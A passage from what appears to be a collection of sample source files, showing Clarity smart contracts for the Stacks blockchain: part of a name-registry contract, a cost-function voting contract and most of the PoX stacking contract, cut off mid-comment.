namespace)\n          (ok true)\n          (begin\n            ;; Early return if lease is expired\n            (asserts!\n              (not (try! (is-name-lease-expired namespace name)))\n              (ok true))\n            (let (\n              (name-props (unwrap-panic (map-get? name-properties { name: name, namespace: namespace }))))\n              ;; Has name been revoked?\n              (asserts! (is-some (get revoked-at name-props)) (ok false))\n              (ok true))))))))\n\n(define-read-only (can-name-be-registered (namespace (buff 20)) (name (buff 48)))\n  (let (\n      (wrapped-name-props (map-get? name-properties { name: name, namespace: namespace }))\n      (namespace-props (unwrap! (map-get? namespaces namespace) (ok false))))\n    ;; The name must only have valid chars\n    (asserts!\n      (not (has-invalid-chars name))\n      (err ERR_NAME_CHARSET_INVALID))\n    ;; Ensure that namespace has been launched\n    (unwrap! (get launched-at namespace-props) (ok false))\n    ;; Early return - Name has never be minted\n    (asserts! (is-some (nft-get-owner? names { name: name, namespace: namespace })) (ok true))\n    (let ((name-props (unwrap-panic wrapped-name-props)))\n      ;; Integrity check - Ensure that the name was either \"imported\" or \"registered\".\n      (asserts! (is-eq (xor\n        (match (get registered-at name-props) res 1 0)\n        (match (get imported-at name-props)   res 1 0)) 1) (err ERR_PANIC))\n      ;; Is lease expired?\n      (is-name-lease-expired namespace name))))\n\n(define-read-only (name-resolve (namespace (buff 20)) (name (buff 48)))\n  (let (\n    (owner (unwrap!\n      (nft-get-owner? names { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND))) ;; The name must exist\n    (name-props (unwrap!\n      (map-get? name-properties { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND)))\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND))))\n    ;; The name must not be in grace period\n    (asserts!\n      (not (try! (is-name-in-grace-period namespace name)))\n      (err ERR_NAME_GRACE_PERIOD))\n    ;; The name must not be expired\n    (asserts!\n      (not (try! (is-name-lease-expired namespace name)))\n      (err ERR_NAME_EXPIRED))\n    ;; The name must not be revoked\n    (asserts!\n      (is-none (get revoked-at name-props))\n      (err ERR_NAME_REVOKED))\n    ;; Get the zonefile\n    (let (\n      (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props))))\n      (ok {\n        zonefile-hash: (get zonefile-hash name-props),\n        owner: owner,\n        lease-started-at: lease-started-at,\n        lease-ending-at: (if (is-eq (get lifetime namespace-props) u0) none (some (+ lease-started-at (get lifetime namespace-props))))\n      }))))\n\n(define-read-only (get-namespace-properties (namespace (buff 20)))\n  (let (\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND))))\n    (ok { namespace: namespace, properties: namespace-props })))\n"
  },
  {
    "path": "samples/Clarity/cost-voting.clar",
    "content": ";; The .cost-voting contract\n\n;; error codes\n(define-constant ERR_NO_SUCH_PROPOSAL        1)\n(define-constant ERR_AMOUNT_NOT_POSITIVE     2)\n(define-constant ERR_PROPOSAL_EXPIRED        3)\n(define-constant ERR_VOTE_ENDED              4)\n(define-constant ERR_INSUFFICIENT_FUNDS      5)\n(define-constant ERR_FT_TRANSFER             6)\n(define-constant ERR_STX_TRANSFER            7)\n(define-constant ERR_VOTE_NOT_CONFIRMED      8)\n(define-constant ERR_ALREADY_VETOED          9)\n(define-constant ERR_NOT_LAST_MINER          10)\n(define-constant ERR_INSUFFICIENT_VOTES      11)\n(define-constant ERR_VETO_PERIOD_OVER        12)\n(define-constant ERR_VETO_PERIOD_NOT_OVER    13)\n(define-constant ERR_PROPOSAL_VETOED         14)\n(define-constant ERR_PROPOSAL_CONFIRMED      15)\n(define-constant ERR_FETCHING_BLOCK_INFO     16)\n(define-constant ERR_TOO_MANY_CONFIRMED      17)\n(define-constant ERR_UNREACHABLE             255)\n\n(define-constant VOTE_LENGTH u2016)\n(define-constant VETO_LENGTH u1008)\n(define-constant REQUIRED_PERCENT_STX_VOTE u20)\n(define-constant REQUIRED_VETOES u500)\n\n(define-constant MAX_CONFIRMED_PER_BLOCK u10)\n\n;; cost vote token\n(define-fungible-token cost-vote-token)\n\n;; proposal counters\n(define-data-var proposal-count uint u0)\n(define-data-var confirmed-proposal-count uint u0)\n\n;; cost-function proposals\n(define-map proposals\n    { proposal-id: uint }\n    {\n        cost-function-contract: principal,\n        cost-function-name: (string-ascii 128),\n        function-contract: principal,\n        function-name: (string-ascii 128),\n        expiration-block-height: uint\n    }\n)\n\n;; vote confirmed cost-function proposals\n(define-map vote-confirmed-proposals\n    { proposal-id: uint }\n    { expiration-block-height: uint }\n)\n\n;; miner confirmed cost-function proposals\n(define-map confirmed-proposals\n   { confirmed-id: uint }\n   {\n       function-contract: principal,\n       function-name: (string-ascii 128),\n       cost-function-contract: principal,\n       cost-function-name: (string-ascii 128),\n       confirmed-height: uint\n    }\n)\n\n;; limit the number of miner confirmed-proposals\n;;   that can be introduced per block\n;; track the # of proposals confirmed at a given block-height\n(define-map confirmed-count-at-block uint uint)\n\n(define-map proposal-confirmed-id\n    { proposal-id: uint }\n    { confirmed-id: uint }\n)\n\n(define-map functions-to-confirmed-ids\n   { function-contract: principal, function-name: (string-ascii 128) }\n   { proposal-id: uint }\n)\n\n;; cost-function proposal votes\n(define-map proposal-votes { proposal-id: uint } { votes: uint })\n\n;; cost-function proposal vetos\n(define-map proposal-vetos { proposal-id: uint } { vetos: uint })\n\n;; proposal vetos per block\n(define-map exercised-veto { proposal-id: uint, veto-height: uint } { vetoed: bool })\n\n;; the number of votes a specific principal has committed to a proposal\n(define-map principal-proposal-votes { address: principal, proposal-id: uint } { votes: uint })\n\n;; getter for cost-function proposals\n(define-read-only (get-proposal (proposal-id uint))\n    (map-get? proposals { proposal-id: proposal-id }))\n\n;; getter for confirmed cost-function proposals\n(define-read-only (get-confirmed-proposal (confirmed-id uint))\n    (map-get? confirmed-proposals { confirmed-id: confirmed-id }))\n\n;; getter for cost-function proposal votes\n(define-read-only (get-proposal-votes (proposal-id uint))\n    (get votes (map-get? proposal-votes { proposal-id: proposal-id })))\n\n;; getter for cost-function proposal vetos\n(define-read-only (get-proposal-vetos (proposal-id uint))\n    (get vetos (map-get? proposal-vetos { proposal-id: proposal-id })))\n\n;; getter for cost-function proposal votes, for specific principal\n(define-read-only (get-principal-votes (address principal) (proposal-id uint))\n    (get votes (map-get? principal-proposal-votes { address: address, proposal-id: proposal-id })))\n\n;; Propose cost-functions\n(define-public (submit-proposal (function-contract principal)\n                                (function-name (string-ascii 128))\n                                (cost-function-contract principal)\n                                (cost-function-name (string-ascii 128)))\n    (begin\n        (map-insert proposals { proposal-id: (var-get proposal-count) }\n                              { cost-function-contract: cost-function-contract,\n                                cost-function-name: cost-function-name,\n                                function-contract: function-contract,\n                                function-name: function-name,\n                                expiration-block-height: (+ block-height VOTE_LENGTH) })\n        (map-insert proposal-votes { proposal-id: (var-get proposal-count) } { votes: u0 })\n        (var-set proposal-count (+ (var-get proposal-count) u1))\n        (ok (- (var-get proposal-count) u1))))\n\n;; Vote on a proposal\n(define-public (vote-proposal (proposal-id uint) (amount uint))\n    (let (\n        (expiration-block-height (get expiration-block-height (unwrap! (map-get? proposals {\n            proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL))))\n        (cur-votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))\n        (cur-principal-votes (default-to u0 (get votes (map-get? principal-proposal-votes {\n            address: tx-sender,\n            proposal-id: proposal-id })))))\n\n    ;; a vote must have a positive amount\n    (asserts! (> amount u0) (err ERR_AMOUNT_NOT_POSITIVE))\n\n    ;; the vote must occur before the expiration\n    (asserts! (< block-height expiration-block-height) (err ERR_PROPOSAL_EXPIRED))\n\n    ;; the proposal must not already be voter confirmed\n    (asserts! (is-none (map-get? vote-confirmed-proposals { proposal-id: proposal-id }))\n        (err ERR_VOTE_ENDED))\n\n    (unwrap! (stx-transfer? amount tx-sender (as-contract tx-sender)) (err ERR_INSUFFICIENT_FUNDS))\n    (unwrap! (ft-mint? cost-vote-token amount tx-sender) (err ERR_UNREACHABLE))\n\n    (map-set proposal-votes { proposal-id: proposal-id } { votes: (+ amount cur-votes) })\n    (map-set principal-proposal-votes { address: tx-sender, proposal-id: proposal-id}\n                                    { votes: (+ amount cur-principal-votes)})\n    (ok true)))\n\n;; Withdraw votes\n(define-public (withdraw-votes (proposal-id uint) (amount uint))\n    (let (\n        (cur-votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))\n        (cur-principal-votes (default-to u0 (get votes (map-get? principal-proposal-votes {\n            address: tx-sender,\n            proposal-id: proposal-id }))))\n        (sender tx-sender))\n\n    (asserts! (> amount u0) (err ERR_AMOUNT_NOT_POSITIVE))\n    (asserts! (>= cur-principal-votes amount) (err ERR_INSUFFICIENT_FUNDS))\n\n    (unwrap! (as-contract (stx-transfer? amount tx-sender sender)) (err ERR_STX_TRANSFER))\n    (unwrap! (as-contract (ft-transfer? cost-vote-token amount sender tx-sender))\n        (err ERR_FT_TRANSFER))\n\n    (map-set proposal-votes { proposal-id: proposal-id } { votes: (- cur-votes amount) })\n    (map-set principal-proposal-votes { address: tx-sender, proposal-id: proposal-id }\n                                        { votes: (- cur-principal-votes amount) })\n    (ok true)))\n\n;; Miner veto\n(define-public (veto (proposal-id uint))\n    (let (\n        (cur-vetos (default-to u0 (get vetos (map-get? proposal-vetos { proposal-id: proposal-id }))))\n        (expiration-block-height (get expiration-block-height (unwrap!\n            (map-get? vote-confirmed-proposals { proposal-id: proposal-id })\n                (err ERR_VOTE_NOT_CONFIRMED))))\n        (vetoed (default-to false (get vetoed (map-get? exercised-veto { proposal-id: proposal-id,\n                                                                         veto-height: block-height }))))\n        (last-miner (unwrap! (get-block-info? miner-address (- block-height u1))\n            (err ERR_FETCHING_BLOCK_INFO))))\n\n    ;; a miner can only veto once per block\n    (asserts! (not vetoed) (err ERR_ALREADY_VETOED))\n\n    ;; vetoes must be cast within the veto period\n    (asserts! (< block-height expiration-block-height) (err ERR_VETO_PERIOD_OVER))\n\n    ;; a miner can only veto if they mined the previous block\n    (asserts! (is-eq contract-caller last-miner) (err ERR_NOT_LAST_MINER))\n\n    ;; a veto cannot be cast if a proposal has already been miner confirmed\n    (asserts! (is-none (map-get? proposal-confirmed-id { proposal-id: proposal-id }))\n        (err ERR_PROPOSAL_CONFIRMED))\n\n    (map-set proposal-vetos { proposal-id: proposal-id } { vetos: (+ u1 cur-vetos) })\n    (map-set exercised-veto { proposal-id: proposal-id, veto-height: block-height }\n                            { vetoed: true })\n    (ok true)))\n\n;; Confirm proposal has reached required vote count\n(define-public (confirm-votes (proposal-id uint))\n    (let (\n        (votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))\n        (proposal (unwrap! (map-get? proposals { proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL)))\n        (confirmed-count (var-get confirmed-proposal-count))\n        (expiration-block-height (get expiration-block-height proposal)))\n\n    ;; confirmation fails if invoked after proposal has expired\n    (asserts! (< block-height expiration-block-height) (err ERR_PROPOSAL_EXPIRED))\n\n    ;; confirmation fails if the required threshold of votes is not met\n    (asserts! (>= (/ (* votes u100) stx-liquid-supply) REQUIRED_PERCENT_STX_VOTE)\n        (err ERR_INSUFFICIENT_VOTES))\n\n    (map-insert vote-confirmed-proposals { proposal-id: proposal-id }\n        { expiration-block-height: (+ VETO_LENGTH block-height) })\n\n    (ok true)))\n\n;; Confirm proposal hasn't been vetoed\n(define-public (confirm-miners (proposal-id uint))\n    (let ((vetos (default-to u0 (get vetos (map-get? proposal-vetos { proposal-id: proposal-id }))))\n          (vote-confirmed-proposal (unwrap! (map-get? vote-confirmed-proposals\n            { proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL)))\n          (proposal (unwrap! (map-get? proposals { proposal-id: proposal-id })\n            (err ERR_NO_SUCH_PROPOSAL)))\n          (confirmed-count (var-get confirmed-proposal-count))\n          (expiration-block-height (get expiration-block-height vote-confirmed-proposal))\n          (confirmed-this-block (default-to u0 (map-get? confirmed-count-at-block block-height))))\n\n    ;; have we already confirmed too many proposals in this block\n    (asserts! (< confirmed-this-block MAX_CONFIRMED_PER_BLOCK) (err ERR_TOO_MANY_CONFIRMED))\n    (map-set confirmed-count-at-block block-height (+ u1 confirmed-this-block))\n\n    ;; miner confirmation will fail if invoked before the expiration\n    (asserts! (>= block-height expiration-block-height) (err ERR_VETO_PERIOD_NOT_OVER))\n\n    ;; miner confirmation will fail if there are enough vetos\n    (asserts! (< vetos REQUIRED_VETOES) (err ERR_PROPOSAL_VETOED))\n\n    (map-insert confirmed-proposals { confirmed-id: confirmed-count }\n        {\n            function-contract: (get function-contract proposal),\n            function-name: (get function-name proposal),\n            cost-function-contract: (get cost-function-contract proposal),\n            cost-function-name: (get cost-function-name proposal),\n            confirmed-height: block-height\n        })\n\n    (map-insert proposal-confirmed-id { proposal-id: proposal-id } { confirmed-id: confirmed-count })\n    (var-set confirmed-proposal-count (+ confirmed-count u1))\n    (ok true)))\n"
  },
  {
    "path": "samples/Clarity/pox.clar",
    "content": ";; The .pox contract\n;; Error codes\n(define-constant ERR_STACKING_UNREACHABLE 255)\n(define-constant ERR_STACKING_INSUFFICIENT_FUNDS 1)\n(define-constant ERR_STACKING_INVALID_LOCK_PERIOD 2)\n(define-constant ERR_STACKING_ALREADY_STACKED 3)\n(define-constant ERR_STACKING_NO_SUCH_PRINCIPAL 4)\n(define-constant ERR_STACKING_EXPIRED 5)\n(define-constant ERR_STACKING_STX_LOCKED 6)\n(define-constant ERR_STACKING_PERMISSION_DENIED 9)\n(define-constant ERR_STACKING_THRESHOLD_NOT_MET 11)\n(define-constant ERR_STACKING_POX_ADDRESS_IN_USE 12)\n(define-constant ERR_STACKING_INVALID_POX_ADDRESS 13)\n(define-constant ERR_STACKING_ALREADY_REJECTED 17)\n(define-constant ERR_STACKING_INVALID_AMOUNT 18)\n(define-constant ERR_NOT_ALLOWED 19)\n(define-constant ERR_STACKING_ALREADY_DELEGATED 20)\n(define-constant ERR_DELEGATION_EXPIRES_DURING_LOCK 21)\n(define-constant ERR_DELEGATION_TOO_MUCH_LOCKED 22)\n(define-constant ERR_DELEGATION_POX_ADDR_REQUIRED 23)\n(define-constant ERR_INVALID_START_BURN_HEIGHT 24)\n\n;; PoX disabling threshold (a percent)\n(define-constant POX_REJECTION_FRACTION u25)\n\n;; Data vars that store a copy of the burnchain configuration.\n;; Implemented as data-vars, so that different configurations can be\n;; used in e.g. test harnesses.\n(define-data-var pox-prepare-cycle-length uint PREPARE_CYCLE_LENGTH)\n(define-data-var pox-reward-cycle-length uint REWARD_CYCLE_LENGTH)\n(define-data-var pox-rejection-fraction uint POX_REJECTION_FRACTION)\n(define-data-var first-burnchain-block-height uint u0)\n(define-data-var configured bool false)\n\n;; This function can only be called once, when it boots up\n(define-public (set-burnchain-parameters (first-burn-height uint) (prepare-cycle-length uint) (reward-cycle-length uint) (rejection-fraction uint))\n    (begin\n        (asserts! (not (var-get configured)) (err ERR_NOT_ALLOWED))\n        (var-set first-burnchain-block-height first-burn-height)\n        (var-set pox-prepare-cycle-length prepare-cycle-length)\n        (var-set pox-reward-cycle-length reward-cycle-length)\n        (var-set pox-rejection-fraction rejection-fraction)\n        (var-set configured true)\n        (ok true))\n)\n\n;; The Stacking lock-up state and associated metadata.\n;; Records can be inserted into this map via one of two ways:\n;; * via contract-call? to the (stack-stx) method, or\n;; * via a transaction in the underlying burnchain that encodes the same data.\n;; In the latter case, this map will be updated by the Stacks\n;; node itself, and transactions in the burnchain will take priority\n;; over transactions in the Stacks chain when processing this block.\n(define-map stacking-state\n    { stacker: principal }\n    {\n        ;; how many uSTX locked?\n        amount-ustx: uint,\n        ;; Description of the underlying burnchain address that will\n        ;; receive PoX'ed tokens. Translating this into an address\n        ;; depends on the burnchain being used.  When Bitcoin is\n        ;; the burnchain, this gets translated into a p2pkh, p2sh,\n        ;; p2wpkh-p2sh, or p2wsh-p2sh UTXO, depending on the version.\n        pox-addr: { version: (buff 1), hashbytes: (buff 20) },\n        ;; how long the uSTX are locked, in reward cycles.\n        lock-period: uint,\n        ;; reward cycle when rewards begin\n        first-reward-cycle: uint\n    }\n)\n\n;; Delegation relationships\n(define-map delegation-state\n    { stacker: principal }\n    {\n        amount-ustx: uint,              ;; how many uSTX delegated?\n        delegated-to: principal,        ;; who are we delegating?\n        until-burn-ht: (optional uint), ;; how long does the delegation last?\n        ;; does the delegate _need_ to use a specific\n        ;; pox recipient address?\n        pox-addr: (optional { version: (buff 1), hashbytes: (buff 20) })\n    }\n)\n\n;; allowed contract-callers\n(define-map allowance-contract-callers\n    { sender: principal, contract-caller: principal }\n    { until-burn-ht: (optional uint) })\n\n;; How many uSTX are stacked in a given reward cycle.\n;; Updated when a new PoX address is registered, or when more STX are granted\n;; to it.\n(define-map reward-cycle-total-stacked\n    { reward-cycle: uint }\n    { total-ustx: uint }\n)\n\n;; Internal map read by the Stacks node to iterate through the list of\n;; PoX reward addresses on a per-reward-cycle basis.\n(define-map reward-cycle-pox-address-list\n    { reward-cycle: uint, index: uint }\n    {\n        pox-addr: { version: (buff 1), hashbytes: (buff 20) },\n        total-ustx: uint\n    }\n)\n\n(define-map reward-cycle-pox-address-list-len\n    { reward-cycle: uint }\n    { len: uint }\n)\n\n;; how much has been locked up for this address before\n;;   committing?\n;; this map allows stackers to stack amounts < minimum\n;;   by paying the cost of aggregation during the commit\n(define-map partial-stacked-by-cycle\n    {\n        pox-addr: { version: (buff 1), hashbytes: (buff 20) },\n        reward-cycle: uint,\n        sender: principal\n    }\n    { stacked-amount: uint }\n)\n\n;; Amount of uSTX that reject PoX, by reward cycle\n(define-map stacking-rejection\n    { reward-cycle: uint }\n    { amount: uint }\n)\n\n;; Who rejected in which reward cycle\n(define-map stacking-rejectors\n    { stacker: principal, reward-cycle: uint }\n    { amount: uint }\n)\n\n;; Getter for stacking-rejectors\n(define-read-only (get-pox-rejection (stacker principal) (reward-cycle uint))\n    (map-get? stacking-rejectors { stacker: stacker, reward-cycle: reward-cycle }))\n\n;; Has PoX been rejected in the given reward cycle?\n(define-read-only (is-pox-active (reward-cycle uint))\n    (let (\n        (reject-votes\n            (default-to\n                u0\n                (get amount (map-get? stacking-rejection { reward-cycle: reward-cycle }))))\n    )\n    ;; (100 * reject-votes) / stx-liquid-supply < pox-rejection-fraction\n    (< (* u100 reject-votes)\n       (* (var-get pox-rejection-fraction) stx-liquid-supply)))\n)\n\n;; What's the reward cycle number of the burnchain block height?\n;; Will runtime-abort if height is less than the first burnchain block (this is intentional)\n(define-private (burn-height-to-reward-cycle (height uint))\n    (/ (- height (var-get first-burnchain-block-height)) (var-get pox-reward-cycle-length)))\n\n;; What's the block height at the start of a given reward cycle?\n(define-private (reward-cycle-to-burn-height (cycle uint))\n    (+ (var-get first-burnchain-block-height) (* cycle (var-get pox-reward-cycle-length))))\n\n;; What's the current PoX reward cycle?\n(define-private (current-pox-reward-cycle)\n    (burn-height-to-reward-cycle burn-block-height))\n\n;; Get the _current_ PoX stacking principal information.  If the information\n;; is expired, or if there's never been such a stacker, then returns none.\n(define-read-only (get-stacker-info (stacker principal))\n    (match (map-get? stacking-state { stacker: stacker })\n        stacking-info\n            (if (<= (+ (get first-reward-cycle stacking-info) (get lock-period stacking-info)) (current-pox-reward-cycle))\n                ;; present, but lock has expired\n                none\n                ;; present, and lock has not expired\n                (some stacking-info)\n            )\n        ;; no state at all\n        none\n    ))\n\n(define-private (check-caller-allowed)\n    (or (is-eq tx-sender contract-caller)\n        (let ((caller-allowed\n                 ;; if not in the caller map, return false\n                 (unwrap! (map-get? allowance-contract-callers\n                                    { sender: tx-sender, contract-caller: contract-caller })\n                          false)))\n          ;; is the caller allowance expired?\n          (if (< burn-block-height (unwrap! (get until-burn-ht caller-allowed) true))\n              false\n              true))))\n\n(define-private (get-check-delegation (stacker principal))\n    (let ((delegation-info (try! (map-get? delegation-state { stacker: stacker }))))\n      ;; did the existing delegation expire?\n      (if (match (get until-burn-ht delegation-info)\n                 until-burn-ht (> burn-block-height until-burn-ht)\n                 false)\n          ;; it expired, return none\n          none\n          ;; delegation is active\n          (some delegation-info))))\n\n;; Get the size of the reward set for a reward cycle.\n;; Note that this does _not_ return duplicate PoX addresses.\n;; Note that this also _will_ return PoX addresses that are beneath\n;; the minimum threshold -- i.e. the threshold can increase after insertion.\n;; Used internally by the Stacks node, which filters out the entries\n;; in this map to select PoX addresses with enough STX.\n(define-read-only (get-reward-set-size (reward-cycle uint))\n    (default-to\n        u0\n        (get len (map-get? reward-cycle-pox-address-list-len { reward-cycle: reward-cycle }))))\n\n;; How many rejection votes have we been accumulating for the next block\n(define-private (next-cycle-rejection-votes)\n    (default-to\n        u0\n        (get amount (map-get? stacking-rejection { reward-cycle: (+ u1 (current-pox-reward-cycle)) }))))\n\n;; Add a single PoX address to a single reward cycle.\n;; Used to build up a set of per-reward-cycle PoX addresses.\n;; No checking will be done -- don't call if this PoX address is already registered in this reward cycle!\n(define-private (append-reward-cycle-pox-addr (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                                              (reward-cycle uint)\n                                              (amount-ustx uint))\n    (let (\n        (sz (get-reward-set-size reward-cycle))\n    )\n    (map-set reward-cycle-pox-address-list\n        { reward-cycle: reward-cycle, index: sz }\n        { pox-addr: pox-addr, total-ustx: amount-ustx })\n    (map-set reward-cycle-pox-address-list-len\n        { reward-cycle: reward-cycle }\n        { len: (+ u1 sz) })\n    (+ u1 sz))\n)\n\n;; How many uSTX are stacked?\n(define-read-only (get-total-ustx-stacked (reward-cycle uint))\n    (default-to\n        u0\n        (get total-ustx (map-get? reward-cycle-total-stacked { reward-cycle: reward-cycle })))\n)\n\n;; Called internally by the node to iterate through the list of PoX addresses in this reward cycle.\n;; Returns (optional (tuple (pox-addr <pox-address>) (total-ustx <uint>)))\n(define-read-only (get-reward-set-pox-address (reward-cycle uint) (index uint))\n    (map-get? reward-cycle-pox-address-list { reward-cycle: reward-cycle, index: index }))\n\n;; Add a PoX address to the ith reward cycle, if i is between 0 and the given num-cycles (exclusive).\n;; Arguments are given as a tuple, so this function can be (map ..)'ed onto a list of its arguments.\n;; Used by add-pox-addr-to-reward-cycles.\n;; No checking is done.\n;; Returns 1 if added.\n;; Returns 0 if not added.\n(define-private (add-pox-addr-to-ith-reward-cycle (cycle-index uint) (params (tuple\n                                                            (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                                                            (first-reward-cycle uint)\n                                                            (num-cycles uint)\n                                                            (amount-ustx uint)\n                                                            (i uint))))\n    (let ((reward-cycle (+ (get first-reward-cycle params) (get i params)))\n          (num-cycles (get num-cycles params))\n          (i (get i params)))\n    {\n        pox-addr: (get pox-addr params),\n        first-reward-cycle: (get first-reward-cycle params),\n        num-cycles: num-cycles,\n        amount-ustx: (get amount-ustx params),\n        i: (if (< i num-cycles)\n            (let ((total-ustx (get-total-ustx-stacked reward-cycle)))\n              ;; record how many uSTX this pox-addr will stack for in the given reward cycle\n              (append-reward-cycle-pox-addr\n                (get pox-addr params)\n                reward-cycle\n                (get amount-ustx params))\n\n              ;; update running total\n              (map-set reward-cycle-total-stacked\n                 { reward-cycle: reward-cycle }\n                 { total-ustx: (+ (get amount-ustx params) total-ustx) })\n\n              ;; updated _this_ reward cycle\n              (+ i u1))\n            (+ i u0))\n    }))\n\n;; Add a PoX address to a given sequence of reward cycle lists.\n;; A PoX address can be added to at most 12 consecutive cycles.\n;; No checking is done.\n(define-private (add-pox-addr-to-reward-cycles (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                                               (first-reward-cycle uint)\n                                               (num-cycles uint)\n                                               (amount-ustx uint))\n  (let ((cycle-indexes (list u0 u1 u2 u3 u4 u5 u6 u7 u8 u9 u10 u11)))\n    ;; For safety, add up the number of times (add-principal-to-ith-reward-cycle) returns 1.\n    ;; It _should_ be equal to num-cycles.\n    (asserts!\n     (is-eq num-cycles\n            (get i (fold add-pox-addr-to-ith-reward-cycle cycle-indexes\n                         { pox-addr: pox-addr, first-reward-cycle: first-reward-cycle, num-cycles: num-cycles, amount-ustx: amount-ustx, i: u0 })))\n     (err ERR_STACKING_UNREACHABLE))\n    (ok true)))\n\n(define-private (add-pox-partial-stacked-to-ith-cycle\n                 (cycle-index uint)\n                 (params { pox-addr: { version: (buff 1), hashbytes: (buff 20) },\n                           reward-cycle: uint,\n                           num-cycles: uint,\n                           amount-ustx: uint }))\n  (let ((pox-addr     (get pox-addr     params))\n        (num-cycles   (get num-cycles   params))\n        (reward-cycle (get reward-cycle params))\n        (amount-ustx  (get amount-ustx  params)))\n    (let ((current-amount\n           (default-to u0\n             (get stacked-amount\n                  (map-get? partial-stacked-by-cycle { sender: tx-sender, pox-addr: pox-addr, reward-cycle: reward-cycle })))))\n      (if (>= cycle-index num-cycles)\n          ;; do not add to cycles >= cycle-index\n          false\n          ;; otherwise, add to the partial-stacked-by-cycle\n          (map-set partial-stacked-by-cycle\n                   { sender: tx-sender, pox-addr: pox-addr, reward-cycle: reward-cycle }\n                   { stacked-amount: (+ amount-ustx current-amount) }))\n      ;; produce the next params tuple\n      { pox-addr: pox-addr,\n        reward-cycle: (+ u1 reward-cycle),\n        num-cycles: num-cycles,\n        amount-ustx: amount-ustx })))\n\n;; Add a PoX address to a given sequence of partial reward cycle lists.\n;; A PoX address can be added to at most 12 consecutive cycles.\n;; No checking is done.\n(define-private (add-pox-partial-stacked (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                                         (first-reward-cycle uint)\n                                         (num-cycles uint)\n                                         (amount-ustx uint))\n  (let ((cycle-indexes (list u0 u1 u2 u3 u4 u5 u6 u7 u8 u9 u10 u11)))\n    (fold add-pox-partial-stacked-to-ith-cycle cycle-indexes\n          { pox-addr: pox-addr, reward-cycle: first-reward-cycle, num-cycles: num-cycles, amount-ustx: amount-ustx })\n    true))\n\n;; What is the minimum number of uSTX to be stacked in the given reward cycle?\n;; Used internally by the Stacks node, and visible publicly.\n(define-read-only (get-stacking-minimum)\n    (/ stx-liquid-supply STACKING_THRESHOLD_25))\n\n;; Is the address mode valid for a PoX burn address?\n(define-private (check-pox-addr-version (version (buff 1)))\n    (or (is-eq version ADDRESS_VERSION_P2PKH)\n        (is-eq version ADDRESS_VERSION_P2SH)\n        (is-eq version ADDRESS_VERSION_P2WPKH)\n        (is-eq version ADDRESS_VERSION_P2WSH)))\n\n;; Is the given lock period valid?\n(define-private (check-pox-lock-period (lock-period uint))\n    (and (>= lock-period MIN_POX_REWARD_CYCLES)\n         (<= lock-period MAX_POX_REWARD_CYCLES)))\n\n;; Evaluate if a participant can stack an amount of STX for a given period.\n;; This method is designed as a read-only method so that it can be used as\n;; a set of guard conditions and also as a read-only RPC call that can be\n;; performed beforehand.\n(define-read-only (can-stack-stx (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                                  (amount-ustx uint)\n                                  (first-reward-cycle uint)\n                                  (num-cycles uint))\n  (begin\n    ;; minimum uSTX must be met\n    (asserts! (<= (print (get-stacking-minimum)) amount-ustx)\n              (err ERR_STACKING_THRESHOLD_NOT_MET))\n\n    (minimal-can-stack-stx pox-addr amount-ustx first-reward-cycle num-cycles)))\n\n;; Evaluate if a participant can stack an amount of STX for a given period.\n;; This method is designed as a read-only method so that it can be used as\n;; a set of guard conditions and also as a read-only RPC call that can be\n;; performed beforehand.\n(define-read-only (minimal-can-stack-stx\n                   (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                   (amount-ustx uint)\n                   (first-reward-cycle uint)\n                   (num-cycles uint))\n  (begin\n    ;; amount must be valid\n    (asserts! (> amount-ustx u0)\n              (err ERR_STACKING_INVALID_AMOUNT))\n\n    ;; sender principal must not have rejected in this upcoming reward cycle\n    (asserts! (is-none (get-pox-rejection tx-sender first-reward-cycle))\n              (err ERR_STACKING_ALREADY_REJECTED))\n\n    ;; lock period must be in acceptable range.\n    (asserts! (check-pox-lock-period num-cycles)\n              (err ERR_STACKING_INVALID_LOCK_PERIOD))\n\n    ;; address version must be valid\n    (asserts! (check-pox-addr-version (get version pox-addr))\n              (err ERR_STACKING_INVALID_POX_ADDRESS))\n    (ok true)))\n\n;; Revoke contract-caller authorization to call stacking methods\n(define-public (disallow-contract-caller (caller principal))\n  (begin\n    (asserts! (is-eq tx-sender contract-caller)\n              (err ERR_STACKING_PERMISSION_DENIED))\n    (ok (map-delete allowance-contract-callers { sender: tx-sender, contract-caller: caller }))))\n\n;; Give a contract-caller authorization to call stacking methods\n;;  normally, stacking methods may only be invoked by _direct_ transactions\n;;   (i.e., the tx-sender issues a direct contract-call to the stacking methods)\n;;  by issuing an allowance, the tx-sender may call through the allowed contract\n(define-public (allow-contract-caller (caller principal) (until-burn-ht (optional uint)))\n  (begin\n    (asserts! (is-eq tx-sender contract-caller)\n              (err ERR_STACKING_PERMISSION_DENIED))\n    (ok (map-set allowance-contract-callers\n               { sender: tx-sender, contract-caller: caller }\n               { until-burn-ht: until-burn-ht }))))\n\n;; Lock up some uSTX for stacking!  Note that the given amount here is in micro-STX (uSTX).\n;; The STX will be locked for the given number of reward cycles (lock-period).\n;; This is the self-service interface.  tx-sender will be the Stacker.\n;;\n;; * The given stacker cannot currently be stacking.\n;; * You will need the minimum uSTX threshold.  This will be determined by (get-stacking-minimum)\n;; at the time this method is called.\n;; * You may need to increase the amount of uSTX locked up later, since the minimum uSTX threshold\n;; may increase between reward cycles.\n;; * The Stacker will receive rewards in the reward cycle following `start-burn-ht`.\n;; Importantly, `start-burn-ht` may not be further into the future than the next reward cycle,\n;; and in most cases should be set to the current burn block height.\n;;\n;; The tokens will unlock and be returned to the Stacker (tx-sender) 